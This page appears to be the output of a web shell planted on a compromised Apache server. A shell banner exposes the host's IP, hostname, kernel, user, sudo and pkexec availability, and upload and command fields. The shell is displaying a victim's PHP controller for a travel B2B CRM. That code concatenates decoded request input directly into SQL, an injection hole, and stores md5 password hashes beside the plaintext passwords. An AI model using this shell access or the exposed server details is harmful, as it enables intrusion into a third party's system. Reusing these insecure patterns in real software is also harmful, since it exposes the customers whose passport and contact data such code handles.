403Webshell
Server IP : 103.234.187.230  /  Your IP : 216.73.216.216
Web Server : Apache
System : Linux lserver42043-ind.megavelocity.net 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/b2bzend/application/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/b2bzend/application/controllers/LeadDetailController - Copy.php
 public function addB2bAacAction() {
        $this->view->layout()->disableLayout();
        $this->_helper->viewRenderer->setNoRender(true);
        $source = $this->_request->getParam('source');
        $custrelation = $this->_HtmlPurifier->filter($this->_request->getParam('custrelation'));
        $passnumber = $this->_HtmlPurifier->filter($this->_request->getParam('passnumber'));
        $passexpiry = $this->_HtmlPurifier->filter($this->_request->getParam('passexpiry'));
        $leadsource = $this->_HtmlPurifier->filter($this->_request->getParam('leadsource'));
        $b2bagencyname = $this->_HtmlPurifier->filter($this->_request->getParam('b2bagencyname'));
        $b2btype = $this->_HtmlPurifier->filter($this->_request->getParam('b2btype'));
        $b2bagent_remarks = $this->_HtmlPurifier->filter($this->_request->getParam('b2bagent_remarks'));
        $hidden_b2bagency_agentId = $this->_HtmlPurifier->filter($this->_request->getParam('SelectedAgentId'));
        $hidden_b2bagency_agencysysid = $this->_HtmlPurifier->filter($this->_request->getParam('SelectedAgencySysId'));
        $AgencyCRMLeadSysId = 0;
        if (isset($passexpiry) && !empty($passexpiry)) {
            $passexpiry = explode('/', $passexpiry);
            $passexpiry = $passexpiry[2] . "-" . $passexpiry[1] . "-" . $passexpiry[0];
        }
        $custanniversary = $this->_HtmlPurifier->filter($this->_request->getParam('custanniversary'));
        if (isset($custanniversary) && !empty($custanniversary)) {
            $custanniversary = explode('/', $custanniversary);
            $custanniversary = $custanniversary[2] . "-" . $custanniversary[1] . "-" . $custanniversary[0];
        }
        $custdob = $this->_HtmlPurifier->filter($this->_request->getParam('custdob'));
        if (isset($custdob) && !empty($custdob)) {
            $custdob = explode('/', $custdob);
            $custdob = $custdob[2] . "-" . $custdob[1] . "-" . $custdob[0];
        }
        $CRMCustSysId = $this->_HtmlPurifier->filter(base64_decode($this->_request->getParam('CRMCustSysId')));
        $CustomerSysId = $this->_HtmlPurifier->filter(base64_decode($this->_request->getParam('CustomerSysId')));
        $B2BAgencySysId = (NULL != $this->_request->getParam('SelectedAgencySysId')) ? $this->_HtmlPurifier->filter($this->_request->getParam('SelectedAgencySysId')) : '';
        $sessionLogin_user = new Zend_Session_Namespace('sessionLogin_user');
        $AgencySysId = $sessionLogin_user->intLoggedinUserAgencySysId;
        $objAgency = new Travel_Model_TblAgency();
        if (isset($leadsource) && is_numeric($leadsource) && !empty($leadsource)) {
            $leadsource = $leadsource;
        } else {
            $intLeadSourceSysId = $this->_crmcustomerObj->getLeadSource($AgencySysId, 'Agency'); // for Master LeadSouce Creation
            $leadsource = (isset($intLeadSourceSysId[0]['LeadSourceSysId']) && !empty($intLeadSourceSysId[0]['LeadSourceSysId'])) ? $intLeadSourceSysId[0]['LeadSourceSysId'] : 0;
        }
        $updatedate = date('Y-m-d H:i:s');
        $currentDate = date('Y-m-d H:i:s');
        if ($source == "mainPage") {
            $mobilenum = $this->_request->getParam('mobilenumber');
            $customername = $this->_request->getParam('customername');
            $emailID = $this->_request->getParam('customerEmail');
            $b2bagencyname = $this->_request->getParam('b2bagencyname');
            $customerfname = $this->_request->getParam('fname');
            $customerlname = $this->_request->getParam('lname');
            $detail = array(
                'b2bagencyname' => $b2bagencyname,
                'mobilenum' => $mobilenum,
                'customerfname' => $customerfname,
                'customerlname' => $customerlname,
                'emailID' => $emailID,
            );
        } else {
            $editID = base64_decode($this->_request->getParam('editID'));
            $fname = $this->_request->getParam('fname');
            $lname = $this->_request->getParam('lname');
            $customerEmail = $this->_request->getParam('customerEmail');
            $mobilenumber = $this->_request->getParam('mobilenumber');
            $countrycode = $this->_request->getParam('countrycode');
            $city = $this->_request->getParam('city');
            $state = $this->_request->getParam('state');
            $country = $this->_request->getParam('country');
            $salution = $this->_request->getParam('salution');
            $customeraddress = $this->_request->getParam('customeraddress');
            $customerpincode = $this->_request->getParam('customerpincode');
            $IsB2BAgent = 1;
            $CreatedByUserSysId = $this->intLoggedinUserId;
            $detail = array();
            if ($editID) {
                $agencyuserArray = array(
                    'EmailId' => $customerEmail,
                    'Title' => (isset($salution) && !empty($salution)) ? $salution : 1,
                    'Logo' => '',
                    'IsfromSM' => '0',
                    'UserId' => '0',
                    'CitySysId' => $city,
                    'StateOrZoneSysId' => 0,
                    'CountrySysId' => $country,
                    'IsEmployee' => '0',
                    'Contacts' => trim($mobilenumber),
                    'countrycode' => trim($countrycode),
                    'JoinDate' => $updatedate,
                    'UserName' => $fname . '' . $lname,
                    'FirstName' => $fname,
                    'LastName' => $lname,
                    'Relation' => $custrelation,
                    'PassportNo' => $passnumber,
                    'PassportExpiry' => $passexpiry,
                    'DOB' => $custdob,
                    'MarriageAnniversary' => $custanniversary,
                    'RegisterDate' => $updatedate,
                    'UpdateDate' => $updatedate,
                    'IsApproved' => '0',
                    'IsActive' => '1',
                    'IsB2BAgent' => $IsB2BAgent,
                    'Address' => (isset($customeraddress) && !empty($customeraddress) ? $customeraddress : ''),
                    'PinCode' => (isset($customerpincode) && !empty($customerpincode) ? $customerpincode : '0'),
                );
                $where = "CustomerSysId = " . $editID;
                $agencyCustomerData = $this->_agencycustomerObj->UpdateAgencyCustomer($agencyuserArray, $where);
                $detail['status'] = 'success';
                $detail['CustomerSysId'] = (isset($editID) && !empty($editID)) ? base64_encode($editID) : '';
                $detail['CustomerSysIdNew'] = (isset($editID) && !empty($editID)) ? $editID : '';
            } else {
                $oRandStrPass = Zend_Controller_Action_HelperBroker::getStaticHelper('General')->generateRandomString(5);
                $this->_leadstageObj = new Travel_Model_TblLeadStage();
                $getStageList = $this->_leadstageObj->getLeadStageSatus('New');
                $leadstage = (isset($getStageList[0]['TPStatusSysId']) && !empty($getStageList[0]['TPStatusSysId'])) ? $getStageList[0]['TPStatusSysId'] : 0;
                $getcustomerdetails = $this->_crmcustomerObj->GetCustomerDetailsByEmailB2B(trim($customerEmail), $AgencySysId);
                if (empty($getcustomerdetails)) {
                    $getcustomerdetails = $this->_crmcustomerObj->ChkMobileExistInAgencyB2B(trim($mobilenumber), $AgencySysId);
                }
                $customerRcord = $getcustomerdetails['CustomerSysId'];
                if ($CRMCustSysId == '' && empty($getcustomerdetails['CustomerSysId'])) {
                    $userArray = array(
                        'EmailId' => $customerEmail,
                        'Salutation' => (isset($salution) && !empty($salution)) ? $salution : 1,
                        'PrimaryContactNumber' => trim($mobilenumber),
                        'countrycode' => trim($countrycode),
                        'FullName' => $fname . ' ' . $lname,
                        'FirstName' => trim($fname),
                        'LastName' => trim($lname),
                        'ActiveDate' => $updatedate,
                        'UpdatedDate' => $updatedate,
                        'CreatedDate' => $updatedate,
                        'IsApproved' => '1',
                        'IsActive' => '1',
                        'IsMarkForDelete' => '0'
                    );
                    $CRMCustSysId = $this->_crmcustomerObj->addCustomer($userArray);
                }

                if (empty($getcustomerdetails['CustomerSysId'])) {
                    $userLeadArray = array(
                        'AgencySysId' => $AgencySysId,
                        'EmailId' => $customerEmail,
                        'Salutation' => (isset($salution) && !empty($salution)) ? $salution : 1,
                        'PrimaryContactNumber' => $mobilenumber,
                        'countrycode' => trim($countrycode),
                        'FullName' => $fname . ' ' . $lname,
                        'FirstName' => trim($fname),
                        'LastName' => trim($lname),
                        'LeadSourceSysId' => $leadsource,
                        'LeadStageSysId' => $leadstage,
                        'AssignUserSysId' => $this->intLoggedinUserId,
                        'ActiveDate' => $updatedate,
                        'UpdatedDate' => $updatedate,
                        'CreatedDate' => $updatedate,
                        'IsApproved' => '1',
                        'IsActive' => '1',
                        'B2BType' => $b2btype,
                        'Remarks' => $b2bagent_remarks,
                        'IsMarkForDelete' => '0'
                    );
                    $AgencyCRMLeadSysId = $this->_crmagencyleadaccountObj->addCustomer($userLeadArray);


                    $agencyuserArray = array(
                        'AgencySysId' => $AgencySysId,
                        'AgencyCRMLeadSysId' => $AgencyCRMLeadSysId,
                        'CRMCustSysId' => $CRMCustSysId,
                        'EmailId' => trim($customerEmail),
                        'Title' => (isset($salution) && !empty($salution)) ? $salution : 1,
                        'Logo' => '',
                        'IsfromSM' => '0',
                        'UserId' => '0',
                        'CitySysId' => isset($city) ? $city : '',
                        'StateOrZoneSysId' => isset($state) ? $state : 0,
                        'CountrySysId' => isset($country) ? $country : '',
                        'IsEmployee' => '0',
                        'Contacts' => trim($mobilenumber),
                        'countrycode' => trim($countrycode),
                        'JoinDate' => $updatedate,
                        'UserName' => $fname . '' . $lname,
                        'FirstName' => trim($fname),
                        'LastName' => trim($lname),
                        'Relation' => $custrelation,
                        'PassportNo' => $passnumber,
                        'Password' => md5($oRandStrPass),
                        'RandStr' => $oRandStrPass,
                        'PassportExpiry' => $passexpiry,
                        'DOB' => $custdob,
                        'MarriageAnniversary' => $custanniversary,
                        'RegisterDate' => $updatedate,
                        'UpdateDate' => $updatedate,
                        'JoinDate' => $updatedate,
                        'IsApproved' => '0',
                        'CreatedByUserSysId' => $CreatedByUserSysId,
                        'Address' => (isset($customeraddress) && !empty($customeraddress) ? $customeraddress : ''),
                        'PinCode' => (isset($customerpincode) && !empty($customerpincode) ? $customerpincode : '0'),
                        //'CreatedByUserSysId' => $CreatedByUserSysId,
                        'IsActive' => '1',
                        'IsMarkForDelete' => '0',
                        'IsB2BAgent' => $IsB2BAgent
                    );
                    //print_r($agencyuserArray);$customeraddress = $this->_request->getParam('customeraddress');$customerpincode = $this->_request->getParam('customerpincode');
                    ### Insert Record in to Agency Table as well ########
                    $agencyCustomerData = $this->_agencycustomerObj->addAgencyCustomer($agencyuserArray);

                    //add remarks for customer
                    if ($b2bagent_remarks != '') {
                        $customerid = $agencyCustomerData;
                        // query for insert data in db created by amit kumar dubey on 16 august 2016 at 12:40 PM
                        $remarkArray = array(
                            'AgencySysId' => $AgencySysId,
                            'CustomerSysId' => $customerid,
                            'Remarks' => $b2bagent_remarks,
                            'IsActive' => '1',
                            'CreatedDate' => $updatedate,
                            'IsMarkForDelete' => '0'
                        );
                        $customerRemarksRcord = $this->_crmremarkObj->addRemark($remarkArray);
                    }
                    //#end of add remarks
                    //code for add b2b agency and agent

                    $objStaff = new Travel_Model_TblAgencyStaff();
                    $chkAgentExist = array();
                    if ($hidden_b2bagency_agentId != '' && $hidden_b2bagency_agencysysid != '') {
                        $chkAgentExist = $objStaff->chkB2BUserExist($hidden_b2bagency_agentId, $hidden_b2bagency_agencysysid, '');
                    }
                    //code for add b2b agency
                    //get verify response data
                    $agencyDetails = $objAgency->isB2BAgencyExists('', $hidden_b2bagency_agentId, $this->intLoggedinUserAgencySysId);
                    //echo count($agencyDetails)."/".count($chkAgentExist);
                    //echo $objStaff->isUserEmailExists(trim($customerEmail),0,$AgencySysId,1);die;
                    $IsB2BAgent = 1;
                    if (empty($agencyDetails) && empty($chkAgentExist)) {
                        //save agency details to database
                        $agencyData = array(
                            'MasterAgencySysId' => $this->intLoggedinUserAgencySysId,
                            'agencyName' => $b2bagencyname,
                            'selectCountry' => isset($country) ? $country : '',
                            'selectState' => '',
                            'selectCity' => isset($city) ? $city : '',
                            'contactName' => $fname . '' . $lname,
                            'emailId' => $customerEmail,
                            'mobileNo' => trim($mobilenumber),
                            'countrycode' => trim($countrycode),
                            'shortDetail' => '',
                            'PanCardNo' => '',
                            'AgencyMarketPlaceSysId' => '',
                            'IsActive' => 1,
                            'CreateDate' => $currentDate
                        );

                        $NewAgencySysId = $objAgency->registerAgency($agencyData, 1);

                        //add agency role
                        $agencyUserRoleArr = unserialize(AGENCY_USER_ROLE);

                        //add user role 
                        $agencyPrimaryUserRoleData = Array(
                            'AgencySysId' => $NewAgencySysId,
                            'RoleTitle' => $agencyUserRoleArr[1],
                            'IsAdmin' => 1,
                            'IsAbleToManageMember' => 1
                        );
                        $userRoleId = $objAgency->addUserRole($agencyPrimaryUserRoleData);
                    } else {
                        $NewAgencySysId = $agencyDetails['AgencySysId'];
                    }
                    //#end of code for b2b agency
                    //code for add b2b agent
                    //echo "ssss".$NewAgencySysId;die;

                    if (!$objStaff->isUserEmailExists(trim($customerEmail), 0, $AgencySysId, 1)) {
                        //insert user details
                        $date = new Zend_Date();
                        $currentDate = $date->toString('yyyy-MM-dd HH:mm:ss');


                        if (isset($b2bagencyname) && !empty($b2bagencyname)) {
                            $getagencyname = trim($this->sanitize_data($b2bagencyname));
                            $getAgencyCode = $objStaff->checkExistAgencyCode($getagencyname);
                            if ($getAgencyCode['AgencyCode'] != '') {
                                $AgencyCode = (trim($getAgencyCode['AgencyCode']) != '') ? $getAgencyCode['AgencyCode'] : 1;
                                $remainingNumber = 5 - strlen($AgencySysId . $getAgencyCode['AgencyCode']);
                                $AgencyCode = str_pad($AgencyCode, $remainingNumber, '0', STR_PAD_LEFT);
                                $AgencyCode = (strlen($AgencyCode) == 5) ? $AgencyCode : $AgencySysId . $AgencyCode;
                            } else {
                                $getAgencyCode = $objStaff->getLastAgencyCode();
                                $AgencyCode = (trim($getAgencyCode['AgencyCode']) != '') ? $getAgencyCode['AgencyCode'] + 1 : 1;
                                $remainingNumber = 5 - strlen($AgencySysId);
                                $AgencyCode = str_pad($AgencyCode, $remainingNumber, '0', STR_PAD_LEFT);
                                $AgencyCode = (strlen($AgencyCode) == 5) ? $AgencyCode : $AgencySysId . $AgencyCode;
                            }
                        }

                        $agencyUserDataForDb = array(
                            'AgencySysId' => $NewAgencySysId,
                            'Designation' => '',
                            'IsfromSM' => 0,
                            'SMTypeId' => 0,
                            'SMId' => 0,
                            'UserId' => 0,
                            'EmpId' => 0,
                            'JoinDate' => $currentDate ? $currentDate : 0,
                            'ExitDate' => 0,
                            'UserName' => 0,
                            'Salutation' => !empty($salution) ? (int) $salution : 1,
                            'FirstName' => !empty($fname) ? $this->_HtmlPurifier->filter($fname) : '',
                            'LastName' => !empty($lname) ? $this->_HtmlPurifier->filter($lname) : '',
                            'UserRole' => (empty($agencyDetails)) ? 0 : 1,
                            'IsInsurance' => 0,
                            'IsB2BAgent' => $IsB2BAgent,
                            'AgencyName' => !empty($b2bagencyname) ? $this->_HtmlPurifier->filter($b2bagencyname) : 0,
                            'GSTIN' => '',
                            'PanNumber' => '',
                            'AgencyCode' => !empty($AgencyCode) ? $this->_HtmlPurifier->filter($AgencyCode) : 0,
                            'UserAccessLevelType' => 0,
                            'Password' => md5($oRandStrPass),
                            'RandStr' => $oRandStrPass,
                            'PasswordExpiryDate' => 0,
                            'IsPswExpire' => 0,
                            'EmailId' => !empty($customerEmail) ? $this->_HtmlPurifier->filter($customerEmail) : 0,
                            'LastLoginTime' => 0,
                            'IsLogInNow' => 0,
                            'CreatedByUserSysId' => $this->intLoggedinUserAgencySysId,
                            'RandomCode' => 0,
                            'Gender' => 0,
                            'UserNickName' => 0,
                            'UserPicPath' => 0,
                            'ContactNo1' => !empty($mobilenumber) ? $this->_HtmlPurifier->filter($mobilenumber) : '',
                            'countrycode' => !empty($countrycode) ? $this->_HtmlPurifier->filter($countrycode) : '',
                            'ContactNo2' => '',
                            'UserDetails' => '',
                            'MacIp' => 0,
                            'UpdateDate' => $currentDate ? $currentDate : 0,
                            'RegisterDate' => $currentDate ? $currentDate : 0,
                            'IsMarkForDel' => 0,
                            'IsActive' => 1,
                            'IsApproved' => 1,
                            'PinCode' => (isset($customerpincode) && !empty($customerpincode) ? $customerpincode : ''),
                            'Address' => (isset($customeraddress) && !empty($customeraddress) ? $customeraddress : ''),
                            'CitySysId' => isset($city) ? $city : 0,
                            'StateOrZoneSysId' => isset($state) ? $state : 0,
                            'CountrySysId' => isset($country) ? $country : 0,
                        );

                        $userSysId = $objStaff->addUserDetails($agencyUserDataForDb);
                        if (@$userSysId) {
                            $deptMappingArr = array(
                                'DeptSysId' => '',
                                'UserSysId' => $userSysId,
                                'RoleSysId' => 0,
                                'ReportingToSysId' => 0,
                                'JoinDate' => $currentDate,
                                'ExitDate' => EMPTY_DATE,
                                'IsActive' => 1,
                                'IsMarkForDelete' => 0,
                                'IsApproved' => 1);

                            $objStaff->addDeptUserMapping($deptMappingArr);
                            $agencyCustomerUpdateArray = array(
                                'CreatedByUserSysId' => $userSysId,
                                'AgencySysId' => $NewAgencySysId
                            );
                            $whereCustomerCond = " CustomerSysId=" . $agencyCustomerData;
                            $agencyCustomerDataUpdate = $this->_agencycustomerObj->UpdateAgencyCustomer($agencyCustomerUpdateArray, $whereCustomerCond);
                            if ((int) $AgencyCRMLeadSysId > 0) {
                                $LeadAccountUpdate = array(
                                    'AgencySysId' => $NewAgencySysId,
                                );
                                $objAgency->updateLeadAgencyData($LeadAccountUpdate, $AgencyCRMLeadSysId);
                            }
                            $arrayData = array(
                                'PrimaryUserSysId' => $userSysId,
                            );
                            $updateAgencyId = $objAgency->updateAgencyData($arrayData, $NewAgencySysId);
                            $objAgency->checkAgencyWallet($NewAgencySysId, $userSysId);
                        }
                    } else {
                        if ((int) $AgencyCRMLeadSysId > 0) {
                            $LeadAccountUpdate = array(
                                'AgencySysId' => $NewAgencySysId,
                            );
                            $objAgency->updateLeadAgencyData($LeadAccountUpdate, $AgencyCRMLeadSysId);
                        }
                        $agencyCustomerUpdateArray = array(
                            'CreatedByUserSysId' => (isset($chkAgentExist['UserSysId'])) ? $chkAgentExist['UserSysId'] : 0,
                            'AgencySysId' => $NewAgencySysId
                        );
                        $whereCustomerCond = " CustomerSysId=" . $agencyCustomerData;
                        $agencyCustomerDataUpdate = $this->_agencycustomerObj->UpdateAgencyCustomer($agencyCustomerUpdateArray, $whereCustomerCond);
                    }
                    $modelAgency = new Travel_Model_TblAgency();
                    $masterAgencyData = $modelAgency->getUserDataByAgency($AgencySysId);
//                    echo "<pre>";print_r($masterAgencyData);exit;
                    if ($masterAgencyData['IsB2bSite'] == 1) {
                        $params = array('agentName' => ucfirst($fname . ' ' . $lname), 'emailId' => $customerEmail, 'password' => $oRandStrPass, 'Url' => $masterAgencyData['Url'], 'Title' => $masterAgencyData['Title'], 'PrimaryEmail' => $masterAgencyData['PrimaryEmail'], 'PrimaryContactNo' => $masterAgencyData['PrimaryContactNo'], 'IsB2bSite' => $masterAgencyData['IsB2bSite'], 'IsB2bSiteURL' => $masterAgencyData['IsB2bSiteURL']);
                        #Set subject
                        $subject = 'Your Account Details';
                        $html = new Zend_View();
                        $html->setScriptPath(APPLICATION_PATH . '/views/emails/');
                        $html->assign($params);
                        $bodyText = $html->render('b2bcustomerinfo.phtml');
                        $emailData = array('fromEmail' => trim($masterAgencyData['PrimaryEmail']), 'fromName' => trim($masterAgencyData['PrimaryContactName']), 'subject' => $subject, 'to' => array($customerEmail), 'bodyHtml' => $bodyText, 'bodyText' => '');
                        try {
                            //echo "success";
                            $arrEmailStatisticsType = array_keys(unserialize(ARR_EMAIL_STATISTICS_TYPE));
                            $arrEmailStatistics = array(
                                "TPSysId" => 0,
                                "TypeSysId" => 1, // 1 For Email 2 For SMS
                                "AgencySysId" => $masterAgencyData['AgencySysId'],
                                "AgentSysId" => $agencyDetails['AgencySysId'],
                                "Title" => '',
                                "Source" => $arrEmailStatisticsType[2], // 6 For Misc
                                "Status" => 0,
                                "RefSysId" => "",
                                "RefSysStatus" => "",
                                "CreateDate" => date('Y-m-d H:s:i')
                            );
                            //print_r($arrEmailStatistics);
                            $checkStatus = $this->mailSentByElastice($emailData, $arrEmailStatistics);
                            //echo "<pre>";print_r($checkStatus);exit;
                        } catch (Exception $err) {
                            echo 4;
                            exit;
                        }
                    }
                    $detail['status'] = 'success';
                    $detail['mobilenumber'] = trim($mobilenumber);
                    $detail['LeadID'] = (int) $AgencyCRMLeadSysId;
                    $detail['countrycode'] = trim($countrycode);
                    $detail['fname'] = trim($fname);
                    $detail['lname'] = trim($lname);
                    $detail['b2bagencyname'] = trim($b2bagencyname);
                    $detail['customerEmail'] = trim($customerEmail);
                    $detail['CustomerSysId'] = (isset($agencyCustomerData) && !empty($agencyCustomerData)) ? base64_encode($agencyCustomerData) : '';
                    $detail['CustomerSysIdNew'] = (isset($agencyCustomerData) && !empty($agencyCustomerData)) ? $agencyCustomerData : '';
                } else {
                    $detail['status'] = 'failed';
                    if (isset($getcustomerdetails['IsActive']) && $getcustomerdetails['IsActive'] == 0) {
                        $detail['message'] = 'Email-id or mobile all ready exist in deactivate mode.';
                    } else {
                        $detail['message'] = 'Email-id or mobile all ready exist';
                    }
                }
            }
            //$detail['customerDetails']=$customerDetails;
        }
        echo json_encode($detail);
    }

Youez - 2016 - github.com/yon3zu
LinuXploit